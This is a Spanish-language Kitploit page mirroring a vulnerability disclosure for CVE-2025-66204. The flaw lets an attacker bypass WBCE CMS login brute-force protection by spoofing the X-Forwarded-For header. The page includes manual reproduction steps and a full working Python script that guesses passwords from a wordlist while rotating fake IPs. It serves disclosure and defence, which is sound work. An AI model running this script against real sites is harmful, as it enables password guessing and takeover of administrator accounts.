Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-66204 — CVE-2025-66204 - WBCE CMS permite eludir la protección contra fuerza bruta mediante el encabezado X-Forwarded-For | Kitploit
Herramientas/GitHubGitHub/lukasz-rybak/cve-2025-66204
Análisis de VulnerabilidadesExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónPapers e InvestigaciónAprendizaje y Educación
GitHublukasz-rybak/cve-2025-66204

CVE-2025-66204

CVE-2025-66204 - WBCE CMS permite eludir la protección contra fuerza bruta mediante el encabezado X-Forwarded-For

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-66204: WBCE CMS permite la omisión de la protección contra fuerza bruta mediante la cabecera X-Forwarded-For

Resumen

CampoDetalles
ID de CVECVE-2025-66204
GravedadMEDIA
AvisoVer aviso
Descubierto porLukasz Rybak

Productos afectados

  • WBCE/WBCE_CMS

Detalles

Resumen

Existe una omisión de la protección contra fuerza bruta en WBCE CMS 1.6.4. El mecanismo de limitación de intentos de inicio de sesión bloquea una dirección IP después de 5 intentos de acceso no válidos. Sin embargo, la aplicación confía plenamente en la cabecera X-Forwarded-For sin validarla ni restringir su uso.

Al modificar X-Forwarded-For en cada solicitud, un atacante puede restablecer el contador indefinidamente y obtener intentos ilimitados de adivinación de contraseñas, omitiendo así toda la protección contra fuerza bruta.

Detalles

WBCE CMS determina la IP del cliente mediante la siguiente lógica:

  1. Si la solicitud contiene la cabecera X-Forwarded-For, la aplicación confía ciegamente en su valor.
  2. De lo contrario, recurre a REMOTE_ADDR.

Aunque WBCE no está detrás de un proxy inverso por defecto, el endpoint de inicio de sesión sigue analizando X-Forwarded-For siempre que esté presente, incluso si ha sido añadido manualmente por el cliente.

Debido a que la aplicación no verifica que la solicitud provenga de un proxy de confianza, un atacante puede inyectar su propia cabecera X-Forwarded-For con cualquier dirección IP arbitraria.

Esto da como resultado:

  • el atacante envía 5 contraseñas no válidas usando X-Forwarded-For: 10.0.0.1 → esa IP es bloqueada
  • el atacante envía la siguiente solicitud con X-Forwarded-For: 10.0.0.2 → se trata como una IP completamente nueva
  • la protección contra fuerza bruta se puede omitir indefinidamente

Este comportamiento es reproducible en una instalación limpia y por defecto, sin proxy inverso delante de WBCE CMS.

PoC

Pasos

Intente iniciar sesión con una contraseña incorrecta y envíe la cabecera:

X-Forwarded-For: 10.0.0.10

Repita hasta que se produzca el bloqueo (después de 5 intentos). image

Cambie la cabecera a:

X-Forwarded-For: 10.0.0.11

Los intentos de inicio de sesión se restablecen y se permiten de nuevo. image

Rote entre 10.0.0.x y aplique fuerza bruta sin ninguna limitación.

Script de PoC automatizado

Creé un script en Python que realiza el ataque automáticamente, rotando IPs falsificadas cada cuatro intentos y detectando el inicio de sesión exitoso.

image ... image image

Esto demuestra la omisión completa de la protección.

root@kitploit:~
import requests

# ==========================
#  CONFIGURATION
# ==========================

TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"

# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"

WORDLIST = "wordlist.txt"

ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"

MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."

# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080",
}

session = requests.Session()
if USE_BURP:
    session.proxies.update(PROXIES)
    session.verify = False


# ==========================
#  LOGIN REQUEST
# ==========================

def try_login(ip, password):
    """Send one login attempt with spoofed X-Forwarded-For."""
    headers = {
        "X-Forwarded-For": ip,
        "User-Agent": "WBCE-Bruteforce-POC",
    }

    data = {
        USERNAME_META_FIELD: USERNAME_FIELDNAME,
        PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
        USERNAME_FIELDNAME: USERNAME,
        PASSWORD_FIELDNAME: password,
        "url": "",
        "submit": "Login",
    }

    resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
    text = resp.text

    failed = ERROR_STRING in text
    blocked = BLOCK_STRING in text
    success = not failed and not blocked

    return success, failed, blocked, resp


# ==========================
#  MAIN ROUTINE
# ==========================

def main():
    print("[*] Loading wordlist...")

    with open(WORDLIST, "r", encoding="utf-8") as f:
        passwords = [p.strip() for p in f if p.strip()]

    print(f"[*] Loaded {len(passwords)} passwords.\n")

    current_ip_counter = 1
    attempts_with_ip = 0

    for attempt_no, password in enumerate(passwords, start=1):
        ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
        success, failed, blocked, resp = try_login(ip, password)

        print(
            f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
            f"| failed={failed} blocked={blocked}"
        )

        if success:
            print("\n[+] SUCCESSFUL LOGIN!")
            print(f"    Username: {USERNAME}")
            print(f"    Password: {password}")
            print(f"    IP used : {ip}")
            return

        attempts_with_ip += 1

        # Switch spoofed IP after lockout threshold
        if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
            print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
            current_ip_counter += 1
            attempts_with_ip = 0

    print("\n[-] Password not found in wordlist.")


if __name__ == "__main__":
    main()

Impacto

  1. Fuerza bruta ilimitada sobre cualquier cuenta;
  2. Posible compromiso de cuentas de administrador;
  3. Sin aplicación de limitación de velocidad;

Referencias

  • https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
  • https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
  • https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5

Aviso legal

Este CVE fue divulgado de forma responsable siguiendo prácticas de divulgación coordinada de vulnerabilidades. La información proporcionada aquí es solo con fines educativos y defensivos.

Descargar herramienta